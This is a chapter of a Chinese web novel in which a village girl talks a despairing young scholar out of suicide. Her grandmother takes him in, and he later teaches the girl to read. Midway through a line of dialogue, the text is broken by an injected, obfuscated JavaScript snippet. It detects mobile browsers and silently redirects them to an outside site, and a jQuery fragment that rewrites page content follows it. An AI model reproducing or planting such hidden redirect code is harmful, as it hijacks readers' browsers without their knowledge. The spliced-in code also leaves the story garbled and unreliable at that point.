苏樨蹲下来,用清水冲了下石板洗衣服,又不放心地侧头看年轻人,“你想不开要跳河?”
年轻人怔怔地看着她,一言不发,除了气质忧郁、一身丧气以外,倒没有表现出什么攻击性来。
苏樨站起来,“你要不死之前做点善事,帮我洗衣服?也算积点阴德?”
年轻人看着苏樨的脸蛋儿犹豫,酝酿了半天才说道:“小生不会。”
这不是没拒绝吗?
苏樨便朝他招了招手,“我教你。”
苏樨站起身,走到岸边,“先打水,浸湿,再用皂角擦,揉搓脏污处,揉搓干净再用清水漂洗,直至洗净。”
年轻人很听话地走到了木桶旁边,慢条斯理,优雅地卷起了袖子。
那一瞬间,苏樨想起了那个离开半年杳无音信的玉衡小哥哥,他也总是这样慢条斯理举止优雅,也不知道他腿伤好了没有,还要不要回来“嫁给自己”。
年轻人蹲下身,看着桶内的几件衣裳,面露难色:“姑娘,女子的衣裳小生碰不得。”
“我给忘了。那你回来吧,等我洗完再说。”
年轻人一副欲言又止的模样,但还是无比听话乖巧地回到了岸上,坐在了岸边。
苏樨一边洗衣服一边问道,“你能不能不要在这自尽?我听闻溺死的人被水泡发了很吓人,以后村里人都不敢在这洗衣了。而且你这般青年才俊,做什么都不晚呐,何必要轻生呢?”
年轻人默不作声地看她洗衣服。
苏樨继续道:“我觉得你的这衣裳很华贵,定是富贵人家的子弟,你肯屈身帮我洗衣服,也不是什么坏人呐,为何就想不开了呢?”
年轻人依旧没吭声。
苏樨疑惑地抬头,对上年轻人茫然失神的表情。年轻人这才缓缓开口,声音嘶哑干涩,“孑然一身,一无所有,半生蹉跎,枉自为人。”
苏樨:“……”
这胡子拉碴的,其实看着也就是二十出头。这大好青春,说什么枉自为人,真是晦气。
“你好好活着,长命百岁,才会知晓你现在的磨难不过是让你成长的垫脚石。你还没活那么久呢,就老气横秋说半生如何如何了。路又不是一条能走,这条行不通,换条路不就好了。”
年轻人坐在那里,沉默半天,发自内心地感叹,“想不到,他乡僻壤的一个小丫头,竟比我活得透彻多了。”
说着他又颓然如干瘪的丝瓜,道:“小生只会经国论道,如今流落至此,却不知能做什么了。”
这个问题不就是当初她跟玉衡探讨过的人生方向问题吗?还被他好一顿戏弄。后来还信誓旦旦让她等一年。结果这厮一下子去了大半年,连点音讯都没有。
简直可恶。
等一年之期过了,咱就把他换掉!
漂亮男人嘛,这不到处都是?
苏樨这会子洗完了衣裳,费劲拧干了装进桶里,“你长得挺好看的,去客栈酒楼当个跑堂估计能招揽不少生意。”
年轻人猛地涨红了脸,怒喝道:“君子岂能以色侍人,有辱斯文!”
“你看不起谁呢,职业无贵贱,人家靠自己脸面吃饭养家,又没偷盗抢杀,帮店面招揽生意怎么就有辱斯文了!”
年轻人被怼得一愣一愣的。
“你看不起的那些平凡又渺小的普通人,正是他们的劳动成果,交的一点一滴的赋税养活了国家,也养活了你们。历史是他们养活的君子、达官贵人写的,他们自己永远写不进历史之中。而他们每日背朝黄天面朝地的努力,却被你这种君子视为不齿。你们就哪里高洁了?”(1)
年轻人震住。
他默了半天憋不出一个字,瞪大了眼睛,双目逐渐恢复了神光,一脸开悟的神情。“原来如此!”
“原来如此什么?”
“是我太自以为是,请姑娘见谅,原谅小生方才无礼,”年轻人突然变得朝气蓬勃、彬彬有礼,完全褪去了那抑郁的死气。
“小生姓……小生名为安琼,不知姑娘芳名?”
苏樨站起,对安琼的一脸热忱表示警惕,“干嘛,你突然想干嘛?!”
安琼自知可能吓着人了,也只能无奈失笑。
“樨樨……”苏奶奶的声音从远处传来。
苏樨如见救星,连忙端着木盆小跑过去,“阿奶,呜呜呜呜,我遇到奇怪的叔叔了……”
安琼表示又尴尬又窘迫。好歹他也是堂堂……罢了,不提往事。
他比不得大晏美人榜上的的美人,但也算是温雅风流、玉树临风,如今竟然被一个乡下的丫头当成了奇怪叔叔。这说得他有多猥琐似的。
苏奶奶眯着眼走上前,把苏樨护在身后,上下打量着安琼。安琼却觉得这位老妇人很是眼熟,但一时也想不起。
“老人家,”安琼恭恭敬敬地行礼,“这位姑娘开导了小生,小生感激不尽,所以想询问姑娘芳名,并非是想图谋不轨。”
苏奶奶看着看着,听着听着,突然就乐呵了,“这是好后生。”
苏樨满脸问号,阿奶,你是从哪看出他就是好人了?
苏奶奶的态度,比见着自家孙子润哥还要热情。她上前握住了安琼的手,“来来来,饿坏了吧,奶奶家热着饭,填饱肚子要紧。”
安琼和苏樨面面相觑,两人都觉得诧异极了。
苏奶奶还问安琼有没有去处,若是没个落脚的地儿,可以先住在李家。自打李润和玉衡离开后,房间便空出来两间,奶奶二话不说便把李润的房间腾给安琼住了。
苏樨真怀疑润哥是山上捡柴顺带捡来的。
苏樨在一旁使劲劝说,“阿奶,您刚见人家,没一会儿就把人家往家里带,万一他是什么江洋大盗扮的,是披着羊皮的狼,那我们俩一老一少弱势群体就要完了!”
苏奶奶握住苏樨的手,“别怕,阿奶看人准的,这后生不是坏人,他只是一时落魄。”
奶奶您是从哪看出来的呀?
苏樨心里在狂啸,润哥,你快回来管管奶奶!
末了,安琼看她担心地饭都吃不下,苍白地为自己辩解:“我真的并非歹徒。”
苏樨哭丧着一张小脸,“哪有歹徒说自己是歹徒的?”
最后苏樨只嚼了两口饭。
安琼道:“我就算是坏人,你也得吃饱饭了才有力气对付呀!”
有道理。
于是苏樨大口大口地扒饭,安琼才起身去帮苏奶奶洗碗去了。
安琼手生,苏奶奶还不让他真动手,真心比疼润哥还疼。洗碗这件事以安琼打破了两个碗告终。
下午,苏樨坐在桌前盯着对面的安琼。
安琼最初还在试图获取她的信任,但因言语苍白无力又无法证实,只能作罢。
“阿奶怎么那般信任你?”
安琼摇头,“可能小生面善?”
安琼此刻收拾了下自己的破落相,换上了润哥的衣裳,看着还真有面善那么一回事。
“我发誓,若对你和阿奶图谋不轨,心生歹念,便天打五雷轰,不得好死。”安琼道。
“不成,这誓言不可靠。”苏樨老成地摇了摇头。
“那你说如何?”
“白纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477453|185600||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黑字,倘若我与阿奶有个意外,便是你杀人行凶,这份文件我会交给好友保管。倘若我和阿奶遭遇不测,他就会交给官府,且发誓,若心生歹念,这辈子都不举,断子绝孙。”
安琼哭笑不得,“好,你去取笔墨纸砚来。”
苏奶奶在院子里听见这话,道:“樨樨,莫放肆。”
“阿奶,他若是好人,这便是一张空纸罢了,”苏樨朝着玉衡的房间去,“阿奶,你识字,你也要来看下。”
苏奶奶也无可奈何,只道:“由你由你。”
等苏樨走到玉衡房间,环顾四周,一点他曾经存在的痕迹都没有。他什么都没留下,也未曾寄过一封信。
说实话,苏樨觉得他不回来也大有可能。
苏樨在桌上找到文房四宝,又在房间里搜罗了好久,、发现这房间真是干干净净啥也没留,也确实印证了人家说的,一年内不回来便不用再等他。
苏樨坐在桌前,怅然若失。
前面还不觉得别离会令人难过,如今后知后觉,才发现有玉衡小哥哥的日子真是很安心,很开心。
门口的亮光被一道身影挡住。安琼朝屋内探了探脑袋,站在门外没进来。“这像是许久没人住的空房。”
苏樨应了一声,随后拿着笔墨纸砚出去了。
安琼提笔时,又停住了,“你识字?”
苏樨撇着嘴离开了桌子,把旁观的位置留给了苏奶奶。
苏奶奶乐呵呵道:“我家樨樨什么都好,便是不曾读过书,阿琼有空教教樨樨。”
“好,阿奶,我会教樨樨的。”安琼便很痛快地应下来了。
等阿奶见证完离去,苏樨收了安琼的保证书。安琼问道,“方才那是谁的房间?”
“要你管?”
“你坐在房间里沉思,是在想你的心上人?”
“你号称君子,君子能对他人的隐私这般打听的吗?没有分寸感、没有边界感!”
安琼哑然失笑,“你奇奇怪怪的词可真多。”
安琼这厮真是大少爷出身,十指不沾阳春水,干家务干一件砸一件。
苏樨心疼家里的碗,苏奶奶心疼着小伙子。
恰逢开春耕作,李果下地农耕,原来挑水砍柴的活儿都落到了安琼身上。好在这年轻人看着文弱,身体还挺结实,力气活都落到了他的头上。
家务之余,安琼便拿着李润房间的一本江湖小志教苏樨识字,苏樨认得快,识字神速,安琼看她的眼神都快像看神童了。
“樨樨,你真乃读书之才,若真在这乡野,着实是浪费此天资了。樨樨那日的历史之论,也叫小生醍醐灌顶。”
苏樨被这一顿夸夸搅得怪不好意思的,她的观点也就是看书看多了,书上有啥说啥,哪里称得上什么天资,再深入讨论就要暴露她的肤浅了。
“别别别,我就一凡人,只想多学点东西傍身,没什么大抱负。”
安琼若有所思地点头,“大晏无女子不可当官之说,前有巾帼将军驰骋沙场,樨樨若创女子秀才之先河,亦是前无古人。”
“考秀才可有何好处?”
“免赋税徭役,另有每县镇优等生十个名额,每年可领二两银子。另可开设私塾学堂,收取束脩。”
苏樨盘算着有小哥哥提供的“第一桶金”之后,后续要只想安安稳稳养家糊口,考秀才不失为一个途径。
安琼教她识字时开始引经据典,加以论道,要是苏樨表现出茫然的神色,他便再换个浅显的小故事来说明。
一来二去,苏樨还真有种肚子里灌了点墨水的感觉。